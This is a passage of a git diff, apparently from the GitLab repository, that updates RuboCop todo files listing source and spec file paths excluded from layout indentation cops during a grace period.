+ - 'spec/features/issuables/sorting_list_spec.rb'
+ - 'spec/features/oauth_login_spec.rb'
+ - 'spec/features/uploads/user_uploads_file_to_note_spec.rb'
+ - 'spec/finders/ci/pipelines_finder_spec.rb'
+ - 'spec/finders/ci/runners_finder_spec.rb'
+ - 'spec/finders/groups/accepting_project_transfers_finder_spec.rb'
+ - 'spec/finders/groups_finder_spec.rb'
+ - 'spec/finders/snippets_finder_spec.rb'
+ - 'spec/graphql/gitlab_schema_spec.rb'
+ - 'spec/graphql/mutations/commits/create_spec.rb'
+ - 'spec/graphql/resolvers/ci/all_jobs_resolver_spec.rb'
+ - 'spec/graphql/resolvers/environments/nested_environments_resolver_spec.rb'
+ - 'spec/graphql/resolvers/project_issues_resolver_spec.rb'
+ - 'spec/graphql/types/blob_viewer_type_spec.rb'
+ - 'spec/graphql/types/boards/board_issue_input_type_spec.rb'
+ - 'spec/graphql/types/commit_signatures/verification_status_enum_spec.rb'
+ - 'spec/graphql/types/container_repository_details_type_spec.rb'
+ - 'spec/graphql/types/container_repository_type_spec.rb'
+ - 'spec/graphql/types/issuable_sort_enum_spec.rb'
+ - 'spec/graphql/types/issue_type_spec.rb'
+ - 'spec/graphql/types/project_type_spec.rb'
+ - 'spec/graphql/types/snippet_type_spec.rb'
+ - 'spec/graphql/types/snippets/blob_type_spec.rb'
+ - 'spec/graphql/types/snippets/blob_viewer_type_spec.rb'
+ - 'spec/helpers/blame_helper_spec.rb'
+ - 'spec/helpers/ci/pipelines_helper_spec.rb'
+ - 'spec/helpers/labels_helper_spec.rb'
+ - 'spec/helpers/releases_helper_spec.rb'
+ - 'spec/lib/banzai/filter/color_filter_spec.rb'
+ - 'spec/lib/banzai/reference_parser/design_parser_spec.rb'
+ - 'spec/lib/container_registry/path_spec.rb'
+ - 'spec/lib/gitlab/auth/saml/user_spec.rb'
+ - 'spec/lib/gitlab/background_migration/delete_orphaned_operational_vulnerabilities_spec.rb'
+ - 'spec/lib/gitlab/background_migration/job_coordinator_spec.rb'
+ - 'spec/lib/gitlab/backtrace_cleaner_spec.rb'
+ - 'spec/lib/gitlab/ci/config/entry/bridge_spec.rb'
+ - 'spec/lib/gitlab/ci/config/entry/default_spec.rb'
+ - 'spec/lib/gitlab/ci/config/entry/id_token_spec.rb'
+ - 'spec/lib/gitlab/ci/config/entry/job_spec.rb'
+ - 'spec/lib/gitlab/ci/config/entry/ports_spec.rb'
+ - 'spec/lib/gitlab/ci/config/entry/root_spec.rb'
+ - 'spec/lib/gitlab/ci/config/entry/services_spec.rb'
+ - 'spec/lib/gitlab/ci/config/external/file/remote_spec.rb'
+ - 'spec/lib/gitlab/ci/config/external/mapper/filter_spec.rb'
+ - 'spec/lib/gitlab/ci/config/external/mapper/location_expander_spec.rb'
+ - 'spec/lib/gitlab/ci/config/external/mapper/matcher_spec.rb'
+ - 'spec/lib/gitlab/ci/config/external/mapper/normalizer_spec.rb'
+ - 'spec/lib/gitlab/ci/config/external/mapper_spec.rb'
+ - 'spec/lib/gitlab/ci/config_spec.rb'
+ - 'spec/lib/gitlab/ci/parsers/security/common_spec.rb'
+ - 'spec/lib/gitlab/ci/pipeline/chain/build/associations_spec.rb'
+ - 'spec/lib/gitlab/ci/pipeline/chain/seed_spec.rb'
+ - 'spec/lib/gitlab/ci/pipeline/duration_spec.rb'
+ - 'spec/lib/gitlab/ci/pipeline/preloader_spec.rb'
+ - 'spec/lib/gitlab/ci/pipeline/seed/build_spec.rb'
+ - 'spec/lib/gitlab/ci/pipeline/seed/stage_spec.rb'
+ - 'spec/lib/gitlab/ci/reports/security/aggregated_report_spec.rb'
+ - 'spec/lib/gitlab/ci/secure_files/mobile_provision_spec.rb'
+ - 'spec/lib/gitlab/ci/secure_files/x509_name_spec.rb'
+ - 'spec/lib/gitlab/ci/status/bridge/factory_spec.rb'
+ - 'spec/lib/gitlab/ci/status/build/factory_spec.rb'
+ - 'spec/lib/gitlab/ci/variables/builder_spec.rb'
+ - 'spec/lib/gitlab/ci/variables/collection_spec.rb'
+ - 'spec/lib/gitlab/ci/variables/helpers_spec.rb'
+ - 'spec/lib/gitlab/ci/yaml_processor_spec.rb'
+ - 'spec/lib/gitlab/database/load_balancing/rack_middleware_spec.rb'
+ - 'spec/lib/gitlab/database/load_balancing/service_discovery/sampler_spec.rb'
+ - 'spec/lib/gitlab/database/load_balancing/sticking_spec.rb'
+ - 'spec/lib/gitlab/database/tables_sorted_by_foreign_keys_spec.rb'
+ - 'spec/lib/gitlab/diff/highlight_cache_spec.rb'
+ - 'spec/lib/gitlab/diff/inline_diff_spec.rb'
+ - 'spec/lib/gitlab/diff/lines_unfolder_spec.rb'
+ - 'spec/lib/gitlab/email/handler/create_merge_request_handler_spec.rb'
+ - 'spec/lib/gitlab/git/push_spec.rb'
+ - 'spec/lib/gitlab/git_access_spec.rb'
+ - 'spec/lib/gitlab/github_import/parallel_scheduling_spec.rb'
+ - 'spec/lib/gitlab/graphql/loaders/batch_model_loader_spec.rb'
+ - 'spec/lib/gitlab/i18n/po_linter_spec.rb'
+ - 'spec/lib/gitlab/import_export/attributes_finder_spec.rb'
+ - 'spec/lib/gitlab/import_export/members_mapper_spec.rb'
+ - 'spec/lib/gitlab/issuable_sorter_spec.rb'
+ - 'spec/lib/gitlab/kroki_spec.rb'
+ - 'spec/lib/gitlab/language_detection_spec.rb'
+ - 'spec/lib/gitlab/markup_helper_spec.rb'
+ - 'spec/lib/gitlab/pagination/keyset/in_operator_optimization/query_builder_spec.rb'
+ - 'spec/lib/gitlab/patch/prependable_spec.rb'
+ - 'spec/lib/gitlab/prometheus/queries/matched_metric_query_spec.rb'
+ - 'spec/lib/gitlab/reference_extractor_spec.rb'
+ - 'spec/lib/gitlab/serializer/ci/variables_spec.rb'
+ - 'spec/lib/gitlab/sidekiq_config/worker_spec.rb'
+ - 'spec/lib/gitlab/sidekiq_migrate_jobs_spec.rb'
+ - 'spec/lib/gitlab/ssh_public_key_spec.rb'
+ - 'spec/lib/gitlab/usage_data/topology_spec.rb'
+ - 'spec/lib/gitlab/utils/merge_hash_spec.rb'
+ - 'spec/lib/gitlab/visibility_level_spec.rb'
+ - 'spec/models/application_setting_spec.rb'
+ - 'spec/models/ci/bridge_spec.rb'
+ - 'spec/models/ci/build_spec.rb'
+ - 'spec/models/ci/group_spec.rb'
+ - 'spec/models/ci/pipeline_spec.rb'
+ - 'spec/models/ci/processable_spec.rb'
+ - 'spec/models/commit_status_spec.rb'
+ - 'spec/models/concerns/ci/has_status_spec.rb'
+ - 'spec/models/concerns/issuable_spec.rb'
+ - 'spec/models/design_management/version_spec.rb'
+ - 'spec/models/discussion_spec.rb'
+ - 'spec/models/external_pull_request_spec.rb'
+ - 'spec/models/group_group_link_spec.rb'
+ - 'spec/models/incident_management/timeline_event_tag_spec.rb'
+ - 'spec/models/integrations/irker_spec.rb'
+ - 'spec/models/issue_spec.rb'
+ - 'spec/models/namespace/package_setting_spec.rb'
+ - 'spec/models/operations/feature_flags/strategy_spec.rb'
+ - 'spec/models/operations/feature_flags/user_list_spec.rb'
+ - 'spec/models/project_group_link_spec.rb'
+ - 'spec/models/repository_spec.rb'
+ - 'spec/models/snippet_repository_spec.rb'
+ - 'spec/models/user_preference_spec.rb'
+ - 'spec/models/user_spec.rb'
+ - 'spec/models/web_ide_terminal_spec.rb'
+ - 'spec/policies/merge_request_policy_spec.rb'
+ - 'spec/policies/project_policy_spec.rb'
+ - 'spec/requests/api/ci/runner/jobs_request_post_spec.rb'
+ - 'spec/requests/api/graphql/group_query_spec.rb'
+ - 'spec/requests/api/graphql/jobs_query_spec.rb'
+ - 'spec/requests/api/graphql/project/languages_spec.rb'
+ - 'spec/requests/api/projects_spec.rb'
+ - 'spec/requests/api/releases_spec.rb'
+ - 'spec/requests/api/settings_spec.rb'
+ - 'spec/requests/api/snippets_spec.rb'
+ - 'spec/serializers/fork_namespace_entity_spec.rb'
+ - 'spec/serializers/group_child_entity_spec.rb'
+ - 'spec/services/auto_merge_service_spec.rb'
+ - 'spec/services/ci/create_pipeline_service_spec.rb'
+ - 'spec/services/ci/enqueue_job_service_spec.rb'
+ - 'spec/services/ci/job_artifacts/destroy_batch_service_spec.rb'
+ - 'spec/services/ci/pipeline_processing/atomic_processing_service_spec.rb'
+ - 'spec/services/ci/play_build_service_spec.rb'
+ - 'spec/services/feature_flags/create_service_spec.rb'
+ - 'spec/services/issues/referenced_merge_requests_service_spec.rb'
+ - 'spec/services/merge_requests/conflicts/resolve_service_spec.rb'
+ - 'spec/services/projects/detect_repository_languages_service_spec.rb'
+ - 'spec/services/security/merge_reports_service_spec.rb'
+ - 'spec/services/spam/spam_verdict_service_spec.rb'
+ - 'spec/support/helpers/kubernetes_helpers.rb'
+ - 'spec/support/helpers/login_helpers.rb'
+ - 'spec/support/shared_contexts/features/integrations/integrations_shared_context.rb'
+ - 'spec/support/shared_examples/lib/email/email_shared_examples.rb'
+ - 'spec/support/shared_examples/lib/wikis_api_examples.rb'
+ - 'spec/support/shared_examples/models/label_note_shared_examples.rb'
+ - 'spec/support/shared_examples/models/mentionable_shared_examples.rb'
+ - 'spec/workers/pages_domain_ssl_renewal_cron_worker_spec.rb'
diff --git a/.rubocop_todo/layout/first_argument_indentation.yml b/.rubocop_todo/layout/first_argument_indentation.yml
new file mode 100644
index 00000000000..fb364356a97
--- /dev/null
+++ b/.rubocop_todo/layout/first_argument_indentation.yml
@@ -0,0 +1,26 @@
+---
+# Cop supports --autocorrect.
+Layout/FirstArgumentIndentation:
+ Details: grace period
+ Exclude:
+ - 'app/models/customer_relations/contact.rb'
+ - 'app/models/cycle_analytics/project_level_stage_adapter.rb'
+ - 'app/models/users/user_follow_user.rb'
+ - 'ee/lib/ee/gitlab/scim/group/deprovisioning_service.rb'
+ - 'ee/spec/controllers/groups/omniauth_callbacks_controller_spec.rb'
+ - 'ee/spec/controllers/registrations/company_controller_spec.rb'
+ - 'ee/spec/lib/gitlab/geo/log_cursor/daemon_spec.rb'
+ - 'ee/spec/services/audit_events/protected_branch_audit_event_service_spec.rb'
+ - 'ee/spec/services/security/report_summary_service_spec.rb'
+ - 'spec/components/previews/pajamas/alert_component_preview.rb'
+ - 'spec/components/previews/pajamas/banner_component_preview.rb'
+ - 'spec/components/previews/pajamas/button_component_preview.rb'
+ - 'spec/controllers/import/bitbucket_controller_spec.rb'
+ - 'spec/lib/gitlab/application_rate_limiter_spec.rb'
+ - 'spec/lib/gitlab/database/loose_foreign_keys_spec.rb'
+ - 'spec/lib/gitlab/import_export/shared_spec.rb'
+ - 'spec/models/loose_foreign_keys/deleted_record_spec.rb'
+ - 'spec/requests/api/graphql/ci/jobs_spec.rb'
+ - 'spec/services/protected_branches/api_service_spec.rb'
+ - 'spec/support/shared_examples/features/search/redacted_search_results_shared_examples.rb'
+ - 'spec/support/shared_examples/quick_actions/issuable/max_issuable_examples.rb'
diff --git a/.rubocop_todo/layout/first_array_element_indentation.yml b/.rubocop_todo/layout/first_array_element_indentation.yml
new file mode 100644
index 00000000000..c42d1c54a8b
--- /dev/null
+++ b/.rubocop_todo/layout/first_array_element_indentation.yml
@@ -0,0 +1,89 @@
+---
+# Cop supports --autocorrect.
+Layout/FirstArrayElementIndentation:
+ Details: grace period
+ Exclude:
+ - 'app/controllers/admin/broadcast_messages_controller.rb'
+ - 'app/controllers/admin/plan_limits_controller.rb'
+ - 'app/finders/user_groups_counter.rb'
+ - 'app/helpers/search_helper.rb'
+ - 'app/models/container_repository.rb'
+ - 'app/models/group.rb'
+ - 'app/models/integration.rb'
+ - 'app/models/user.rb'
+ - 'app/services/labels/transfer_service.rb'
+ - 'ee/app/finders/autocomplete/project_invited_groups_finder.rb'
+ - 'ee/app/finders/geo/project_registry_finder.rb'
+ - 'ee/app/models/ee/application_setting.rb'
+ - 'ee/app/models/protected_environment.rb'
+ - 'ee/app/services/vulnerabilities/create_service_base.rb'
+ - 'ee/lib/ee/api/helpers/award_emoji.rb'
+ - 'ee/spec/controllers/admin/licenses/usage_exports_controller_spec.rb'
+ - 'ee/spec/controllers/projects/merge_requests_controller_spec.rb'
+ - 'ee/spec/features/boards/boards_licensed_features_spec.rb'
+ - 'ee/spec/features/groups/analytics/cycle_analytics/charts_spec.rb'
+ - 'ee/spec/features/groups/group_roadmap_spec.rb'
+ - 'ee/spec/finders/namespaces/billed_users_finder_spec.rb'
+ - 'ee/spec/frontend/fixtures/dast_profiles.rb'
+ - 'ee/spec/frontend/fixtures/search.rb'
+ - 'ee/spec/graphql/resolvers/analytics/contribution_analytics/contributions_resolver_spec.rb'
+ - 'ee/spec/graphql/types/dast_scanner_profile_type_spec.rb'
+ - 'ee/spec/graphql/types/dast_site_profile_type_spec.rb'
+ - 'ee/spec/lib/ee/gitlab/auth/ldap/sync/group_spec.rb'
+ - 'ee/spec/lib/ee/gitlab/usage_data_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/config/security_orchestration_policies/processor_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/Jobs/browser_performance_testing_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/Jobs/dast_default_branch_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/lib/gitlab/ci/templates/Jobs/load_performance_testing_gitlab_ci_yaml_spec.rb'
+ - 'ee/spec/models/ee/group_spec.rb'
+ - 'ee/spec/models/security/orchestration_policy_configuration_spec.rb'
+ - 'ee/spec/models/security/orchestration_policy_rule_schedule_spec.rb'
+ - 'ee/spec/policies/project_policy_spec.rb'
+ - 'ee/spec/requests/api/graphql/analytics/contribution_analytics/contributions_spec.rb'
+ - 'ee/spec/requests/api/graphql/group/epics_spec.rb'
+ - 'ee/spec/requests/api/graphql/mutations/releases/update_spec.rb'
+ - 'ee/spec/requests/api/graphql/project/merge_requests_spec.rb'
+ - 'ee/spec/requests/api/ldap_group_links_spec.rb'
+ - 'ee/spec/requests/api/members_spec.rb'
+ - 'ee/spec/requests/api/saml_group_links_spec.rb'
+ - 'ee/spec/services/analytics/cycle_analytics/value_streams/update_service_spec.rb'
+ - 'ee/spec/services/audit_events/export_csv_service_spec.rb'
+ - 'ee/spec/services/groups/seat_usage_export_service_spec.rb'
+ - 'lib/gitlab/email/message/in_product_marketing/team.rb'
+ - 'lib/gitlab/email/message/in_product_marketing/trial.rb'
+ - 'lib/gitlab/email/message/in_product_marketing/verify.rb'
+ - 'lib/gitlab/object_hierarchy.rb'
+ - 'lib/gitlab/project_authorizations.rb'
+ - 'qa/qa/specs/features/api/12_systems/gitaly/automatic_failover_and_recovery_spec.rb'
+ - 'qa/qa/specs/features/api/12_systems/gitaly/changing_repository_storage_spec.rb'
+ - 'qa/qa/specs/features/api/12_systems/gitaly/praefect_dataloss_spec.rb'
+ - 'qa/qa/specs/features/browser_ui/5_package/infrastructure_registry/terraform_module_registry_spec.rb'
+ - 'qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_instance_level_spec.rb'
+ - 'qa/qa/specs/features/browser_ui/5_package/package_registry/npm/npm_project_level_spec.rb'
+ - 'qa/qa/specs/features/ee/api/9_data_stores/elasticsearch/index_tests/main_index/blob_index_spec.rb'
+ - 'qa/qa/specs/features/ee/api/9_data_stores/elasticsearch/nightly_elasticsearch_test_spec.rb'
+ - 'spec/controllers/projects/pipelines_controller_spec.rb'
+ - 'spec/finders/groups/accepting_project_transfers_finder_spec.rb'
+ - 'spec/graphql/mutations/commits/create_spec.rb'
+ - 'spec/graphql/resolvers/environments/nested_environments_resolver_spec.rb'
+ - 'spec/graphql/types/commit_signatures/verification_status_enum_spec.rb'
+ - 'spec/lib/gitlab/analytics/usage_trends/workers_argument_builder_spec.rb'
+ - 'spec/lib/gitlab/background_migration/delete_orphaned_operational_vulnerabilities_spec.rb'
+ - 'spec/lib/gitlab/backtrace_cleaner_spec.rb'
+ - 'spec/lib/gitlab/ci/config/entry/id_token_spec.rb'
+ - 'spec/lib/gitlab/ci/secure_files/x509_name_spec.rb'
+ - 'spec/lib/gitlab/database/load_balancing/rack_middleware_spec.rb'
+ - 'spec/lib/gitlab/database/load_balancing/service_discovery/sampler_spec.rb'
+ - 'spec/lib/gitlab/diff/inline_diff_spec.rb'
+ - 'spec/lib/gitlab/github_import/importer/diff_notes_importer_spec.rb'
+ - 'spec/lib/gitlab/github_import/importer/lfs_objects_importer_spec.rb'
+ - 'spec/lib/gitlab/github_import/importer/notes_importer_spec.rb'
+ - 'spec/lib/gitlab/github_import/parallel_scheduling_spec.rb'
+ - 'spec/lib/gitlab/pagination/keyset/in_operator_optimization/query_builder_spec.rb'
+ - 'spec/lib/gitlab/prometheus/queries/matched_metric_query_spec.rb'
+ - 'spec/lib/gitlab/usage_data/topology_spec.rb'
+ - 'spec/models/group_group_link_spec.rb'
+ - 'spec/models/project_group_link_spec.rb'
+ - 'spec/models/user_preference_spec.rb'
+ - 'spec/services/issues/referenced_merge_requests_service_spec.rb'
+ - 'spec/services/security/merge_reports_service_spec.rb'
diff --git a/.rubocop_todo/layout/first_hash_element_indentation.yml b/.rubocop_todo/layout/first_hash_element_indentation.yml
index e1ac4ccb650..facc7a58f1a 100644
--- a/.rubocop_todo/layout/first_hash_element_indentation.yml
+++ b/.rubocop_todo/layout/first_hash_element_indentation.yml
@@ -1,292 +1,159 @@
---
# Cop supports --autocorrect.
Layout/FirstHashElementIndentation:
+ Details: grace period
Exclude:
- - 'app/helpers/avatars_helper.rb'
- - 'app/helpers/breadcrumbs_helper.rb'
- - 'app/helpers/broadcast_messages_helper.rb'
+ - 'app/controllers/admin/system_info_controller.rb'
+ - 'app/controllers/concerns/milestone_actions.rb'
+ - 'app/controllers/concerns/render_service_results.rb'
+ - 'app/controllers/concerns/sourcegraph_decorator.rb'
+ - 'app/controllers/projects/badges_controller.rb'
+ - 'app/controllers/projects/merge_requests_controller.rb'
+ - 'app/controllers/repositories/lfs_locks_api_controller.rb'
+ - 'app/experiments/concerns/project_commit_count.rb'
+ - 'app/graphql/mutations/notes/create/diff_note.rb'
+ - 'app/graphql/mutations/notes/create/image_diff_note.rb'
+ - 'app/graphql/mutations/notes/create/note.rb'
+ - 'app/graphql/resolvers/ci/runner_projects_resolver.rb'
+ - 'app/graphql/resolvers/group_packages_resolver.rb'
- 'app/helpers/commits_helper.rb'
- - 'app/helpers/environments_helper.rb'
- - 'app/helpers/keyset_helper.rb'
- - 'app/helpers/listbox_helper.rb'
- - 'app/helpers/page_layout_helper.rb'
- 'app/helpers/projects/project_members_helper.rb'
- 'app/helpers/search_helper.rb'
- - 'app/helpers/sorting_helper.rb'
- 'app/helpers/ssh_keys_helper.rb'
- 'app/helpers/tags_helper.rb'
- - 'app/helpers/tree_helper.rb'
- - 'app/helpers/users_helper.rb'
- - 'app/mailers/emails/issues.rb'
- - 'app/mailers/emails/merge_requests.rb'
- 'app/models/application_setting.rb'
- - 'app/models/ci/build.rb'
- 'app/models/ci/build_metadata.rb'
- - 'app/models/ci/runner.rb'
- 'app/models/clusters/applications/crossplane.rb'
- - 'app/models/clusters/platforms/kubernetes.rb'
- - 'app/models/concerns/cross_database_modification.rb'
- - 'app/models/concerns/featurable.rb'
- 'app/models/concerns/has_wiki_page_slug_attributes.rb'
- - 'app/models/concerns/integrations/enable_ssl_verification.rb'
- 'app/models/concerns/subscribable.rb'
- 'app/models/concerns/taskable.rb'
- 'app/models/diff_note.rb'
- - 'app/models/integrations/jira.rb'
- - 'app/models/jira_connect_installation.rb'
+ - 'app/models/merge_request.rb'
- 'app/models/milestone.rb'
- - 'app/models/note.rb'
- 'app/models/operations/feature_flags/strategy.rb'
- 'app/models/project.rb'
- - 'app/models/wiki.rb'
- 'app/presenters/ci/build_metadata_presenter.rb'
- - 'app/presenters/packages/helm/index_presenter.rb'
- - 'app/serializers/cluster_serializer.rb'
- 'app/serializers/detailed_status_entity.rb'
- - 'app/services/award_emojis/base_service.rb'
- - 'app/services/ci/runners/reconcile_existing_runner_versions_service.rb'
- - 'app/services/google_cloud/create_service_accounts_service.rb'
- - 'app/services/members/create_service.rb'
- - 'app/services/notification_service.rb'
- - 'app/services/packages/composer/create_package_service.rb'
- - 'app/services/pages/delete_service.rb'
- - 'app/services/projects/after_rename_service.rb'
- - 'app/services/projects/create_service.rb'
- - 'app/services/projects/destroy_service.rb'
- - 'app/services/projects/transfer_service.rb'
- - 'app/services/projects/update_pages_service.rb'
- - 'app/services/projects/update_service.rb'
- - 'app/services/resource_events/change_milestone_service.rb'
+ - 'app/services/audit_events/build_service.rb'
- 'app/services/spam/ham_service.rb'
- - 'app/services/timelogs/base_service.rb'
- - 'app/validators/addressable_url_validator.rb'
- - 'app/workers/concerns/cluster_cleanup_methods.rb'
+ - 'app/services/work_items/widgets/milestone_service/base_service.rb'
+ - 'app/validators/bytesize_validator.rb'
- 'ee/app/components/namespaces/free_user_cap/enforcement_alert_component.rb'
- - 'ee/app/components/namespaces/free_user_cap/notification_alert_component.rb'
- - 'ee/app/controllers/groups/analytics/tasks_by_type_controller.rb'
- 'ee/app/graphql/mutations/boards/epic_lists/destroy.rb'
- 'ee/app/graphql/mutations/boards/epics/create.rb'
- 'ee/app/graphql/mutations/iterations/cadences/update.rb'
- 'ee/app/graphql/mutations/iterations/create.rb'
- 'ee/app/graphql/mutations/iterations/update.rb'
- - 'ee/app/graphql/mutations/projects/set_compliance_framework.rb'
- - 'ee/app/graphql/mutations/security_policy/commit_scan_execution_policy.rb'
- - 'ee/app/helpers/ee/application_settings_helper.rb'
- - 'ee/app/helpers/ee/ci/jobs_helper.rb'
- 'ee/app/helpers/ee/geo_helper.rb'
- 'ee/app/helpers/ee/groups/group_members_helper.rb'
- - 'ee/app/helpers/ee/namespaces_helper.rb'
- - 'ee/app/helpers/ee/projects_helper.rb'
- - 'ee/app/helpers/ee/sidebars_helper.rb'
- - 'ee/app/helpers/ee/tree_helper.rb'
+ - 'ee/app/helpers/ee/trial_helper.rb'
- 'ee/app/helpers/incident_management/escalation_policy_helper.rb'
- - 'ee/app/helpers/paid_feature_callout_helper.rb'
- - 'ee/app/helpers/projects/on_demand_scans_helper.rb'
- - 'ee/app/helpers/projects/security/dast_profiles_helper.rb'
- - 'ee/app/mailers/ee/emails/issues.rb'
- 'ee/app/models/ee/list.rb'
- - 'ee/app/serializers/ee/environment_serializer.rb'
- 'ee/app/services/app_sec/dast/profiles/update_service.rb'
- - 'ee/app/services/app_sec/dast/site_profiles/update_service.rb'
- - 'ee/app/services/ee/auth/container_registry_authentication_service.rb'
- - 'ee/app/services/ee/ci/register_job_service.rb'
- - 'ee/app/services/ee/issues/export_csv_service.rb'
- 'ee/app/services/elastic/cluster_reindexing_service.rb'
- 'ee/app/services/gitlab_subscriptions/plan_upgrade_service.rb'
- - 'ee/app/services/incident_management/issuable_resource_links/base_service.rb'
- - 'ee/app/services/jira/requests/issues/list_service.rb'
+ - 'ee/app/services/iterations/create_service.rb'
+ - 'ee/app/services/registrations/base_namespace_create_service.rb'
+ - 'ee/app/services/resource_events/change_iteration_service.rb'
- 'ee/app/services/security/token_revocation_service.rb'
- 'ee/app/services/timebox_report_service.rb'
- - 'ee/app/workers/elastic_delete_project_worker.rb'
- - 'ee/app/workers/groups/create_event_worker.rb'
- - 'ee/lib/api/epic_links.rb'
- - 'ee/lib/ee/api/geo.rb'
- 'ee/lib/ee/container_registry/client.rb'
- - 'ee/lib/ee/gitlab/application_rate_limiter.rb'
- 'ee/lib/ee/gitlab/ci/parsers.rb'
- 'ee/lib/ee/gitlab/usage_data.rb'
- 'ee/lib/elastic/latest/application_class_proxy.rb'
- 'ee/lib/elastic/latest/issue_class_proxy.rb'
- - 'ee/lib/gitlab/geo/project_log_helpers.rb'
+ - 'ee/lib/gitlab/analytics/type_of_work/tasks_by_type.rb'
+ - 'ee/lib/gitlab/ci/parsers/security/formatters/dependency_list.rb'
- 'ee/lib/gitlab/graphql/aggregations/epics/lazy_epic_aggregate.rb'
- - 'ee/lib/gitlab/status_page/storage/s3_multipart_upload.rb'
- 'ee/spec/controllers/admin/application_settings_controller_spec.rb'
- 'ee/spec/controllers/ee/projects/jobs_controller_spec.rb'
- 'ee/spec/controllers/ee/projects/variables_controller_spec.rb'
- - 'ee/spec/controllers/groups/analytics/cycle_analytics/summary_controller_spec.rb'
- 'ee/spec/controllers/groups/epic_boards_controller_spec.rb'
- 'ee/spec/controllers/groups/issues_controller_spec.rb'
- - 'ee/spec/controllers/projects/feature_flag_issues_controller_spec.rb'
- 'ee/spec/controllers/projects/integrations/jira/issues_controller_spec.rb'
- - 'ee/spec/controllers/projects/licenses_controller_spec.rb'
+ - 'ee/spec/controllers/projects/repositories_controller_spec.rb'
- 'ee/spec/controllers/projects/vulnerability_feedback_controller_spec.rb'
- 'ee/spec/controllers/projects_controller_spec.rb'
- - 'ee/spec/controllers/security/projects_controller_spec.rb'
- - 'ee/spec/elastic/migrate/20220119120500_populate_commit_permissions_in_main_index_spec.rb'
+ - 'ee/spec/elastic/migrate/20220118150500_delete_orphaned_commits_spec.rb'
+ - 'ee/spec/elastic/migrate/migration_shared_examples.rb'
- 'ee/spec/factories/dependencies.rb'
- 'ee/spec/factories/licenses.rb'
- 'ee/spec/finders/epics_finder_spec.rb'
- - 'ee/spec/frontend/fixtures/dast_profiles.rb'
- - 'ee/spec/frontend/fixtures/on_demand_dast_scans.rb'
+ - 'ee/spec/finders/namespaces/free_user_cap/users_finder_spec.rb'
+ - 'ee/spec/frontend/fixtures/oncall_schedule.rb'
- 'ee/spec/frontend/fixtures/search.rb'
- - 'ee/spec/graphql/mutations/app_sec/fuzzing/api/ci_configuration/create_spec.rb'
+ - 'ee/spec/graphql/mutations/audit_events/streaming/event_type_filters/destroy_spec.rb'
+ - 'ee/spec/graphql/types/asset_type_spec.rb'
- 'ee/spec/graphql/types/vulnerability_request_response_header_type_spec.rb'
- - 'ee/spec/helpers/ee/access_tokens_helper_spec.rb'
- - 'ee/spec/helpers/ee/groups_helper_spec.rb'
- - 'ee/spec/helpers/ee/labels_helper_spec.rb'
- - 'ee/spec/helpers/ee/namespaces_helper_spec.rb'
- - 'ee/spec/helpers/ee/projects/pipeline_helper_spec.rb'
- - 'ee/spec/helpers/ee/projects/security/dast_configuration_helper_spec.rb'
- - 'ee/spec/helpers/ee/projects/security/sast_configuration_helper_spec.rb'
- - 'ee/spec/helpers/ee/security_orchestration_helper_spec.rb'
- - 'ee/spec/helpers/groups/sso_helper_spec.rb'
- - 'ee/spec/helpers/nav/new_dropdown_helper_spec.rb'
- - 'ee/spec/helpers/projects_helper_spec.rb'
- - 'ee/spec/helpers/search_helper_spec.rb'
- - 'ee/spec/helpers/security_helper_spec.rb'
- - 'ee/spec/helpers/trial_registrations/reassurances_helper_spec.rb'
+ - 'ee/spec/graphql/types/vulnerability_request_type_spec.rb'
+ - 'ee/spec/graphql/types/vulnerability_response_type_spec.rb'
+ - 'ee/spec/helpers/billing_plans_helper_spec.rb'
+ - 'ee/spec/helpers/groups/security_features_helper_spec.rb'
+ - 'ee/spec/helpers/projects/security/discover_helper_spec.rb'
+ - 'ee/spec/initializers/fog_google_https_private_urls_spec.rb'
+ - 'ee/spec/lib/audit/compliance_framework_changes_auditor_spec.rb'
+ - 'ee/spec/lib/audit/external_status_check_changes_auditor_spec.rb'
+ - 'ee/spec/lib/audit/project_changes_auditor_spec.rb'
+ - 'ee/spec/lib/audit/project_ci_cd_setting_changes_auditor_spec.rb'
+ - 'ee/spec/lib/audit/project_setting_changes_auditor_spec.rb'
- 'ee/spec/lib/container_registry/client_spec.rb'
- - 'ee/spec/lib/ee/backup/repositories_spec.rb'
- - 'ee/spec/lib/ee/gitlab/analytics/cycle_analytics/base_query_builder_spec.rb'
+ - 'ee/spec/lib/ee/api/entities/experiment_spec.rb'
- 'ee/spec/lib/ee/gitlab/auth/ldap/access_levels_spec.rb'
- - 'ee/spec/lib/ee/gitlab/ci/config/entry/bridge_spec.rb'
+ - 'ee/spec/lib/ee/gitlab/background_migration/backfill_project_statistics_storage_size_without_uploads_size_spec.rb'
- 'ee/spec/lib/ee/gitlab/ci/parsers/security/common_spec.rb'
- - 'ee/spec/lib/ee/gitlab/elastic/helper_spec.rb'
- - 'ee/spec/lib/ee/gitlab/usage_data_spec.rb'
- - 'ee/spec/lib/gitlab/analytics/cycle_analytics/data_collector_spec.rb'
- - 'ee/spec/lib/gitlab/analytics/cycle_analytics/request_params_spec.rb'
- - 'ee/spec/lib/gitlab/analytics/cycle_analytics/summary/group/stage_summary_spec.rb'
- - 'ee/spec/lib/gitlab/analytics/type_of_work/tasks_by_type_spec.rb'
- - 'ee/spec/lib/gitlab/auth/group_saml/membership_updater_spec.rb'
- - 'ee/spec/lib/gitlab/auth/saml/membership_updater_spec.rb'
- 'ee/spec/lib/gitlab/auth/smartcard/san_extension_spec.rb'
- - 'ee/spec/lib/gitlab/ci/config/entry/job_spec.rb'
- 'ee/spec/lib/gitlab/ci/parsers/security/dast_spec.rb'
- 'ee/spec/lib/gitlab/ci/reports/coverage_fuzzing/report_spec.rb'
- - 'ee/spec/lib/gitlab/ci/reports/security/finding_spec.rb'
- - 'ee/spec/lib/gitlab/ci/yaml_processor_spec.rb'
- - 'ee/spec/lib/gitlab/contribution_analytics/data_collector_spec.rb'
- - 'ee/spec/lib/gitlab/elastic/indexer_spec.rb'
- 'ee/spec/lib/gitlab/geo/log_cursor/lease_spec.rb'
- 'ee/spec/lib/gitlab/graphql/aggregations/epics/lazy_epic_aggregate_spec.rb'
- 'ee/spec/lib/gitlab/subscription_portal/clients/graphql_spec.rb'
- - 'ee/spec/lib/gitlab/web_ide/config/entry/schemas_spec.rb'
- - 'ee/spec/lib/system_check/app/search_check_spec.rb'
